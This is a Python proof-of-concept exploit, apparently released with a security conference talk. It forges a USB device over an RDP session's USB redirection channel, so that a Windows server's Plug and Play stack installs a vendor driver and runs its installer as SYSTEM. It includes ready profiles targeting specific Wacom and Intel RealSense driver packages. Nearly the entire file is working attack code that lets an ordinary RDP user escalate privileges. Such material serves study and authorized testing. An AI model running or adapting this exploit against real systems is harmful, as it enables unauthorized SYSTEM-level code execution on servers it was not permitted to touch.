#!/usr/bin/env python3
#
# Plug and Pwn: Weaponizing Windows PnP Auto-Install
# DEF CON 34 (2026) -- Alejandro Hernando & Borja Martinez
#
# Proof-of-concept released with the talk. Provided for education and
# authorized security testing only. No warranty. Use only against systems
# you own or are explicitly permitted to test.
#
# rdp_usb_pnp.py
#
# Forge a USB device over an RDP connection and let the server's PnP stack
# install a driver for it. No physical device, no xfreerdp, no kernel gadget --
# just NLA creds and the pure-python aardwolf RDP stack.
#
# We speak the client half of MS-RDPEUSB (URBDRC) over a drdynvc dynamic
# channel: announce a made-up VID/PID with ADD_DEVICE, then answer the
# descriptor/URB requests the server sends back so its TsUsbHub keeps the
# fake device alive long enough for PnP to match an INF and run the install
# (co-installers, AddService, etc.) as SYSTEM.
#
# The wire format here was reimplemented from FreeRDP 2.11.7
# (channels/urbdrc + channels/drdynvc). Ints are little-endian, strings UTF-16LE.
#
# Requires python3 and aardwolf (the pure-python RDP client), nothing else:
#   pip install aardwolf
#
# Server side has to allow USB redirection for the session -- that's the
# standard enterprise USB-over-RDP group policy, set once by an admin:
#   HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services
#     fUsbRedirectionEnableMode = 2
#     fDisablePNPRedir          = 0
# The exploit itself only needs a normal user's RDP login.
#
#   python3 rdp_usb_pnp.py '.\user:Password1@10.0.0.5' --profile realsense
#

import argparse
import asyncio
import random
import struct
import sys
import traceback
from typing import cast

from aardwolf.commons.factory import RDPConnectionFactory
from aardwolf.commons.iosettings import RDPIOSettings
from aardwolf.extensions.RDPEDYC.channel import RDPEDYCChannel
from aardwolf.extensions.RDPEDYC.protocol import DYNVC_CMD, DYNVC_MESSAGE
from aardwolf.extensions.RDPEDYC.protocol.caps import DYNVC_CAPS_REQ
from aardwolf.extensions.RDPEDYC.protocol.create import DYNVC_CREATE_REQ
from aardwolf.extensions.RDPEDYC.protocol.data import DYNVC_DATA_FIRST
from aardwolf.extensions.RDPECLIP.channel import RDPECLIPChannel
from aardwolf.protocol.channelpdu import CHANNEL_PDU_HEADER


# --- URBDRC constants (urbdrc_types.h) ---------------------------------------
# The InterfaceId that prefixes every message packs a 2-bit stream tag in the
# top bits and an interface number in the low 30. These are the ones we need.
STREAM_NONE, STREAM_PROXY, STREAM_STUB = 0, 1, 2

IF_CAP_NEGOTIATOR = 0x00000000
IF_CLIENT_SINK    = 0x00000001
IF_SRV_NOTIFY     = 0x00000002
IF_CLIENT_NOTIFY  = 0x00000003
FIRST_USB_DEVICE  = 0x00000005

# inbound ids we match on
RX_CAP_NEGOTIATOR = (STREAM_NONE << 30)  | IF_CAP_NEGOTIATOR   # 0x00000000
RX_SRV_NOTIFY     = (STREAM_PROXY << 30) | IF_SRV_NOTIFY       # 0x40000002
# outbound ids we send with
TX_CAP_NEGOTIATOR = (STREAM_NONE << 30)  | IF_CAP_NEGOTIATOR
TX_CLIENT_NOTIFY  = (STREAM_PROXY << 30) | IF_CLIENT_NOTIFY
TX_CLIENT_SINK    = (STREAM_PROXY << 30) | IF_CLIENT_SINK

# FunctionIds
RIMCALL_RELEASE           = 0x00000001
RIM_EXCHANGE_CAP_REQUEST  = 0x00000100
CHANNEL_CREATED           = 0x00000100
ADD_VIRTUAL_CHANNEL       = 0x00000100
ADD_DEVICE                = 0x00000101
CANCEL_REQUEST            = 0x00000100
REGISTER_REQUEST_CALLBACK = 0x00000101
IO_CONTROL                = 0x00000102
INTERNAL_IO_CONTROL       = 0x00000103
QUERY_DEVICE_TEXT         = 0x00000104
TRANSFER_IN_REQUEST       = 0x00000105
TRANSFER_OUT_REQUEST      = 0x00000106
RETRACT_DEVICE            = 0x00000107
IOCONTROL_COMPLETION      = 0x00000100
URB_COMPLETION            = 0x00000101
URB_COMPLETION_NO_DATA    = 0x00000102

# vchannel_status
CHANNEL_OUT, CHANNEL_IN = 0, 1

# IO control codes we get asked about during bring-up
IOCTL_GET_PORT_STATUS = 0x00220013

# URB function codes we actually handle
URB_SELECT_CONFIGURATION      = 0x0000
URB_SELECT_INTERFACE          = 0x0001
URB_GET_DESC_FROM_DEVICE      = 0x000B
URB_CONTROL_TRANSFER          = 0x0008
URB_CONTROL_TRANSFER_EX       = 0x0032
URB_GET_DESC_FROM_ENDPOINT    = 0x0024
URB_GET_DESC_FROM_INTERFACE   = 0x0028

USBD_STATUS_SUCCESS = 0x00000000


def log(msg):
    print("[*] " + msg)


# --- the fake device ---------------------------------------------------------
class FakeUSBDevice:
    """Holds a VID/PID and builds the USB descriptors + PnP id strings for it.

    Single-function or composite. A composite device (bDeviceClass 0, more than
    one interface) advertises USB\\COMPOSITE, so the server loads usbccgp and
    splits it into USB\\VID_x&PID_x&MI_zz children. You need that when the INF
    you're targeting keys on &MI_zz instead of the bare VID/PID -- Intel
    RealSense binds on &MI_02, for example. The INF match happens before the
    device is started, so the install still fires even though our fake device
    never really comes up.
    """

    def __init__(self, vid, pid, rev, product, manuf, interfaces, dev_class=(0, 0, 0)):
        self.vid = vid
        self.pid = pid
        self.rev = rev
        self.product = product
        self.manuf = manuf
        self.interfaces = interfaces
        self.dev_class = dev_class
        self.cls = interfaces[0]["cls"]
        self.sub = interfaces[0]["sub"]
        self.proto = interfaces[0]["proto"]
        # Randomise the serial / bus path every run. FreeRDP derives the PnP
        # instance and container ids from these, so a fresh value means a fresh
        # devnode that won't clash with a leftover from a previous run.
        self.serial = "PNP%08X" % random.randrange(1 << 32)
        self.busport = "%d-%d" % (random.randint(1, 254), random.randint(1, 254))

    @property
    def composite(self):
        return len(self.interfaces) > 1 and self.dev_class[0] == 0

    def device_descriptor(self):
        dc, ds, dp = self.dev_class
        return struct.pack(
            "<BBHBBBBHHHBBBB",
            0x12, 0x01, 0x0200, dc, ds, dp, 0x40,
            self.vid, self.pid, self.rev,
            1, 2, 3, 1,
        )

    def config_descriptor(self):
        body = b""
        for idx, itf in enumerate(self.interfaces):
            eps = itf.get("eps", [])
            body += struct.pack(
                "<BBBBBBBBB",
                0x09, 0x04, idx, 0x00, len(eps),
                itf["cls"], itf["sub"], itf["proto"], 0x00,
            )
            for addr, attr, mps, ivl in eps:
                body += struct.pack("<BBBBHB", 0x07, 0x05, addr, attr, mps, ivl)
        total = 9 + len(body)
        cfg = struct.pack("<BBHBBBBB", 0x09, 0x02, total,
                          len(self.interfaces), 1, 0, 0x80, 0x32)
        return cfg + body

    @staticmethod
    def _string(s):
        body = s.encode("utf-16-le")
        return struct.pack("<BB", len(body) + 2, 0x03) + body

    def string_descriptor(self, index):
        if index == 0:
            return struct.pack("<BBH", 0x04, 0x03, 0x0409)   # LANGID en-US
        if index == 1:
            return self._string(self.manuf)
        if index == 2:
            return self._string(self.product)
        if index == 3:
            return self._string(self.serial)
        return self._string("")

    def get_descriptor(self, dtype, dindex):
        if dtype == 0x01:
            return self.device_descriptor()
        if dtype == 0x02:
            return self.config_descriptor()
        if dtype == 0x03:
            return self.string_descriptor(dindex)
        return b""

    def hardware_ids(self):
        return [
            "USB\\VID_%04X&PID_%04X&REV_%04X" % (self.vid, self.pid, self.rev),
            "USB\\VID_%04X&PID_%04X" % (self.vid, self.pid),
        ]

    def compat_ids(self):
        # A composite parent has to say USB\COMPOSITE -- that's what pulls in
        # usbccgp and gets the MI_zz children created. Otherwise just advertise
        # the interface class triplet.
        if self.composite:
            return [
                "USB\\DevClass_00&SubClass_00&Prot_00",
                "USB\\DevClass_00&SubClass_00",
                "USB\\DevClass_00",
                "USB\\COMPOSITE",
            ]
        return [
            "USB\\Class_%02X&SubClass_%02X&Prot_%02X" % (self.cls, self.sub, self.proto),
            "USB\\Class_%02X&SubClass_%02X" % (self.cls, self.sub),
            "USB\\Class_%02X" % self.cls,
        ]

    # func_instance_id_generate (urbdrc_main.c): "\<busport>" zero-padded to 16
    # bytes, printed as a braceless GUID.
    def instance_id(self):
        raw = ("\\" + self.busport).encode("latin-1")[:16].ljust(16, b"\x00")
        return ("%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-"
                "%02x%02x%02x%02x%02x%02x") % tuple(raw)

    # func_container_id_generate: "%04X%04X<tail>" zero-padded, braced GUID.
    def container_id(self):
        tail = self.busport[-8:]
        raw = ("%04X%04X%s" % (self.vid, self.pid, tail)).encode("latin-1")[:16].ljust(16, b"\x00")
        return ("{%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-"
                "%02x%02x%02x%02x%02x%02x}") % tuple(raw)


# --- state shared across the URBDRC channels ---------------------------------
class Session:
    def __init__(self, dev, announced_evt):
        self.dev = dev
        self.announced = announced_evt
        self.vchannel_status = CHANNEL_IN
        self.usb_device_id = FIRST_USB_DEVICE
        self.req_completion = self.usb_device_id
        self.device_announced = False
        self.descriptor_reads = 0


# --- one worker per URBDRC dynamic channel -----------------------------------
class Worker:
    def __init__(self, channel_id, manager, session):
        self.cid = channel_id
        self.mgr = manager
        self.s = session

    async def send(self, payload):
        for frame in DYNVC_DATA_FIRST.chunk_data(payload, self.cid):
            await self.mgr.fragment_and_send(frame)

    async def data_in(self, data):
        if len(data) < 12:
            return
        iface, mid, fid = struct.unpack_from("<III", data, 0)
        try:
            if iface == RX_CAP_NEGOTIATOR:
                await self._cap_negotiator(mid, fid, data)
            elif iface == RX_SRV_NOTIFY:
                await self._channel_notify(mid, fid, data)
            else:
                await self._device(iface, mid, fid, data)
        except Exception:
            traceback.print_exc()

    # capability negotiation -- just agree on version 1
    async def _cap_negotiator(self, mid, fid, data):
        if fid == RIM_EXCHANGE_CAP_REQUEST:
            version = struct.unpack_from("<I", data, 12)[0] if len(data) >= 16 else 1
            version = min(version, 1)
            await self.send(struct.pack("<IIII", TX_CAP_NEGOTIATOR, mid, version, 0))

    # server telling us a channel was created; ack, then drive the announce
    async def _channel_notify(self, mid, fid, data):
        if fid == CHANNEL_CREATED:
            caps = struct.unpack_from("<III", data, 12)[2] if len(data) >= 24 else 0
            await self.send(struct.pack("<IIIIII", TX_CLIENT_NOTIFY, mid,
                                        CHANNEL_CREATED, 1, 0, caps))
        elif fid == RIMCALL_RELEASE:
            await self._advance()

    async def _advance(self):
        if self.s.vchannel_status == CHANNEL_IN:
            # ask the server to spin up a device virtual channel
            await self.send(struct.pack("<III", TX_CLIENT_SINK,
                                        self.s.usb_device_id, ADD_VIRTUAL_CHANNEL))
            self.s.vchannel_status = CHANNEL_OUT
        elif self.s.vchannel_status == CHANNEL_OUT and not self.s.device_announced:
            await self._add_device()
            self.s.device_announced = True
            self.s.announced.set()

    # ADD_DEVICE -- this is where the chosen VID/PID reaches the server's hub
    async def _add_device(self):
        d = self.s.dev

        def multi_sz(strings):
            out = b""
            for s in strings:
                out += s.encode("utf-16-le") + b"\x00\x00"
            return out + b"\x00\x00"

        inst = d.instance_id()
        inst_w = inst.encode("utf-16-le") + b"\x00\x00"
        hw = d.hardware_ids()
        co = d.compat_ids()
        cont = d.container_id()
        cont_w = cont.encode("utf-16-le") + b"\x00\x00"

        cch_inst = len(inst) + 1
        cch_hw = sum(len(x) for x in hw) + 3
        cch_co = sum(len(x) + 1 for x in co) + 1
        cch_cont = len(cont) + 1

        caps = struct.pack("<IIIIIII", 0x0000001C, 2, 0x00000600,
                           0x0200, 0, 1, 0x50)

        body = struct.pack("<III", TX_CLIENT_SINK, 0, ADD_DEVICE)
        body += struct.pack("<I", 1)                     # NumUsbDevice
        body += struct.pack("<I", self.s.usb_device_id)  # UsbDevice
        body += struct.pack("<I", cch_inst) + inst_w
        body += struct.pack("<I", cch_hw) + multi_sz(hw)
        body += struct.pack("<I", cch_co) + multi_sz(co)
        body += struct.pack("<I", cch_cont) + cont_w
        body += caps
        await self.send(body)
        log("ADD_DEVICE sent  %s" % hw[1])

    # per-device request loop
    async def _device(self, iface, mid, fid, data):
        if fid == REGISTER_REQUEST_CALLBACK:
            if len(data) >= 20:
                self.s.req_completion = struct.unpack_from("<II", data, 12)[1]
        elif fid == QUERY_DEVICE_TEXT:
            await self._query_device_text(mid, data)
        elif fid in (IO_CONTROL, INTERNAL_IO_CONTROL):
            await self._io_control(fid, mid, data)
        elif fid in (TRANSFER_IN_REQUEST, TRANSFER_OUT_REQUEST):
            await self._transfer(mid, data)
        # RETRACT_DEVICE / CANCEL_REQUEST: nothing to do

    def _completion_iface(self):
        return (STREAM_PROXY << 30) | (self.s.req_completion & 0x3FFFFFFF)

    async def _query_device_text(self, mid, data):
        text_type = struct.unpack_from("<I", data, 12)[0] if len(data) >= 16 else 0
        txt = "Port_#0001.Hub_#0001" if text_type == 1 else self.s.dev.product
        buf = txt.encode("utf-16-le") + b"\x00\x00"
        iface = (STREAM_STUB << 30) | (self.s.usb_device_id & 0x3FFFFFFF)
        resp = struct.pack("<III", iface, mid, len(buf) // 2) + buf + struct.pack("<I", 0)
        await self.send(resp)

    async def _io_control(self, fid, mid, data):
        code, in_sz = struct.unpack_from("<II", data, 12)
        out_sz, req_id = struct.unpack_from("<II", data, 20 + in_sz)
        if fid == INTERNAL_IO_CONTROL:
            payload = struct.pack("<I", 0x00010000)     # made-up bus time
        elif code == IOCTL_GET_PORT_STATUS:
            payload = struct.pack("<I", 0x00000503)     # USB 2.0, connected
        else:
            payload = b""
        hdr = struct.pack("<IIIIIII", self._completion_iface(), mid,
                          IOCONTROL_COMPLETION, req_id, 0, len(payload), len(payload))
        await self.send(hdr + payload)

    async def _transfer(self, mid, data):
        cb, size, urbfn, reqfield = struct.unpack_from("<IHHI", data, 12)
        no_ack = bool(reqfield & 0x80000000)
        req_id = reqfield & 0x7FFFFFFF
        urb_off = 24   # 12 shared header + 12 TS_URB header

        if urbfn in (URB_GET_DESC_FROM_DEVICE, URB_GET_DESC_FROM_ENDPOINT,
                     URB_GET_DESC_FROM_INTERFACE):
            didx, dtype, _lang = struct.unpack_from("<BBH", data, urb_off)
            out_sz = struct.unpack_from("<I", data, urb_off + 4)[0]
            desc = self.s.dev.get_descriptor(dtype, didx)[:out_sz]
            self.s.descriptor_reads += 1
            if dtype == 0x01:
                self.s.announced.set()
            await self._complete(mid, req_id, no_ack, desc)
            return

        if urbfn in (URB_CONTROL_TRANSFER, URB_CONTROL_TRANSFER_EX):
            ex = urbfn == URB_CONTROL_TRANSFER_EX
            sp_off = urb_off + 8 + (4 if ex else 0)
            _bmRT, bReq, wVal, _wIdx, wLen = struct.unpack_from("<BBHHH", data, sp_off)
            if bReq == 0x06:    # GET_DESCRIPTOR
                dtype, didx = (wVal >> 8) & 0xFF, wVal & 0xFF
                desc = self.s.dev.get_descriptor(dtype, didx)[:wLen]
                await self._complete(mid, req_id, no_ack, desc)
            else:
                await self._complete(mid, req_id, no_ack, b"")
            return

        # SELECT_CONFIGURATION / SELECT_INTERFACE / everything else: just ack so
        # the server's state machine keeps moving.
        await self._complete(mid, req_id, no_ack, b"", no_data=True)

    async def _complete(self, mid, req_id, no_ack, payload, no_data=False):
        if no_ack:
            return
        fn = URB_COMPLETION_NO_DATA if (no_data or not payload) else URB_COMPLETION
        hdr = struct.pack("<IIII", self._completion_iface(), mid, fn, req_id)
        hdr += struct.pack("<I", 8)         # CbTsUrbResult
        hdr += struct.pack("<HH", 8, 0)     # TS_URB_RESULT_HEADER
        hdr += struct.pack("<I", USBD_STATUS_SUCCESS)
        hdr += struct.pack("<I", 0)         # HResult
        hdr += struct.pack("<I", len(payload))
        await self.send(hdr + payload)


# --- aardwolf drdynvc hook ---------------------------------------------------
# The management channel and every per-device channel are all named "URBDRC",
# so we keep one Worker per ChannelId and route by id.
class URBDRCChannel(RDPEDYCChannel):
    SESSION = None

    def __init__(self, iosettings):
        super().__init__(iosettings)
        self._workers = {}

    async def process_channel_data(self, data):
        pdu = CHANNEL_PDU_HEADER.from_bytes(data)
        msg = DYNVC_MESSAGE.from_bytes(pdu.data)

        if msg.cmd == DYNVC_CMD.CAPS_RSP and self.version_data_sent is False:
            await self.fragment_and_send(DYNVC_CAPS_REQ().to_bytes())
            self.version_data_sent = True
            return

        if msg.cmd == DYNVC_CMD.CREATE_RSP:
            msg = cast(DYNVC_CREATE_REQ, msg)
            if msg.ChannelName != "URBDRC":
                return await super().process_channel_data(data)
            self._workers[msg.ChannelId] = Worker(msg.ChannelId, self, self.SESSION)
            await self.send_channel_create_response(msg.ChannelId, 0)
            log("URBDRC channel opened (id=%d)" % msg.ChannelId)
            return

        if msg.cmd in (DYNVC_CMD.DATA_FIRST, DYNVC_CMD.DATA):
            worker = self._workers.get(msg.ChannelId)
            if worker is not None:
                await worker.data_in(msg.Data)
                return
            return await super().process_channel_data(data)

        if msg.cmd == DYNVC_CMD.CLOSE:
            self._workers.pop(msg.ChannelId, None)

        return await super().process_channel_data(data)


# --- target device profiles --------------------------------------------------
# Each one is a real driver we can pull in. dev_class (0,0,0) with more than one
# interface means composite, so usbccgp makes the &MI_zz children. "match" is
# the [Models] hardware id the INF actually binds on.
_INTR = [(0x81, 0x03, 0x08, 10)]   # interrupt IN, ep1

PROFILES = {
    # bare USB\VID&PID, single interface -- generic, always works as a smoke test
    "generic": dict(vid=0x095D, pid=0x92A2, rev=0x0100,
                    product="USB Test Device", manuf="Test",
                    dev_class=(0, 0, 0),
                    interfaces=[dict(cls=0x08, sub=0x06, proto=0x50, eps=[])],
                    match="inbox usbstor (compat id)"),
    # Wacom oem44.inf -- bare VID_056A&PID_5043, drops ISD co-installer + service
    "wacom": dict(vid=0x056A, pid=0x5043, rev=0x0100,
                  product="Wacom Device", manuf="Wacom",
                  dev_class=(0, 0, 0),
                  interfaces=[dict(cls=0x03, sub=0x00, proto=0x00, eps=_INTR)],
                  match="oem44.inf  USB\\VID_056A&PID_5043"),
    # Intel RealSense F200 -- RealSenseF200Depth.inf binds &MI_02, so it HAS to
    # be composite with 3 interfaces. Install runs Setup.exe as SYSTEM.
    "realsense": dict(vid=0x8086, pid=0x0A66, rev=0x0100,
                      product="Intel(R) RealSense(TM) Camera", manuf="Intel",
                      dev_class=(0, 0, 0),
                      interfaces=[dict(cls=0xFF, sub=0x00, proto=0x00, eps=[]),
                                  dict(cls=0xFF, sub=0x00, proto=0x00, eps=[]),
                                  dict(cls=0x0E, sub=0x02, proto=0x00, eps=[])],
                      match="RealSenseF200Depth.inf  &MI_02 (composite)"),
}


def make_device(args):
    if args.profile:
        p = PROFILES[args.profile]
        dev = FakeUSBDevice(p["vid"], p["pid"], p["rev"], p["product"], p["manuf"],
                            [dict(i) for i in p["interfaces"]], p["dev_class"])
        return dev, p["match"]
    # otherwise build a plain single-interface device from the CLI flags
    dev = FakeUSBDevice(args.vid, args.pid, args.rev, args.product, "Custom",
                        [dict(cls=args.cls, sub=args.subclass, proto=args.proto, eps=[])])
    return dev, "custom (cli vid/pid)"


async def run(args):
    dev, match = make_device(args)
    announced = asyncio.Event()
    URBDRCChannel.SESSION = Session(dev, announced)

    io = RDPIOSettings()
    io.channels = [RDPECLIPChannel, URBDRCChannel]
    io.video_bpp_min = 15
    io.video_bpp_max = 32
    io.clipboard_use_pyperclip = False

    log("target    : %s" % args.target)
    log("profile   : %s (%s)" % (args.profile or "custom", match))
    log("device    : VID_%04X PID_%04X REV_%04X  composite=%s"
        % (dev.vid, dev.pid, dev.rev, dev.composite))
    log("hardware  : %s%s" % (dev.hardware_ids()[1],
        "  (+ &MI_xx children)" if dev.composite else ""))

    factory = RDPConnectionFactory.from_url("rdp+ntlm-password://" + args.target, io)
    conn = factory.get_connection(io)
    ok, err = await conn.connect()
    if err is not None:
        log("connect failed: %r" % err)
        raise err
    log("RDP session up, waiting for the server to open URBDRC")

    try:
        await asyncio.wait_for(announced.wait(), timeout=args.hold)
        log("device announced to TsUsbHub -- PnP install path is running")
    except asyncio.TimeoutError:
        log("no URBDRC device announce within %ds" % args.hold)

    # hold the channel open so the kernel finishes enumeration + the install
    loop = asyncio.get_event_loop()
    deadline = loop.time() + args.hold
    while loop.time() < deadline:
        if conn.disconnected_evt.is_set():
            log("server disconnected")
            break
        await asyncio.sleep(1.0)

    s = URBDRCChannel.SESSION
    log("done. announced=%s descriptor_reads=%d" % (s.device_announced, s.descriptor_reads))
    await conn.terminate()


def parse_target(argv=None):
    ap = argparse.ArgumentParser(description="Forge a USB device over RDP and trigger a PnP driver install")
    ap.add_argument("target", nargs="?", help="DOMAIN\\user:pass@host  (use .\\user for a local account)")
    ap.add_argument("--profile", choices=sorted(PROFILES), help="forge a known target device")
    ap.add_argument("--list", action="store_true", help="list profiles and exit")
    ap.add_argument("--vid", type=lambda x: int(x, 0), default=0x095D)
    ap.add_argument("--pid", type=lambda x: int(x, 0), default=0x92A2)
    ap.add_argument("--rev", type=lambda x: int(x, 0), default=0x0100)
    ap.add_argument("--class", dest="cls", type=lambda x: int(x, 0), default=0x08)
    ap.add_argument("--subclass", type=lambda x: int(x, 0), default=0x06)
    ap.add_argument("--proto", type=lambda x: int(x, 0), default=0x50)
    ap.add_argument("--product", default="USB Test Device")
    ap.add_argument("--hold", type=int, default=90, help="seconds to wait / keep the channel alive")
    return ap.parse_args(argv)


def main():
    args = parse_target()
    if args.list:
        for name in sorted(PROFILES):
            p = PROFILES[name]
            print("%-12s %04X:%04X  %s" % (name, p["vid"], p["pid"], p["match"]))
        return
    if not args.target:
        print("usage: rdp_usb_pnp.py 'DOMAIN\\user:pass@host' [--profile NAME]")
        print("   or: rdp_usb_pnp.py --list")
        sys.exit(2)
    try:
        asyncio.run(run(args))
    except KeyboardInterrupt:
        pass


if __name__ == "__main__":
    main()
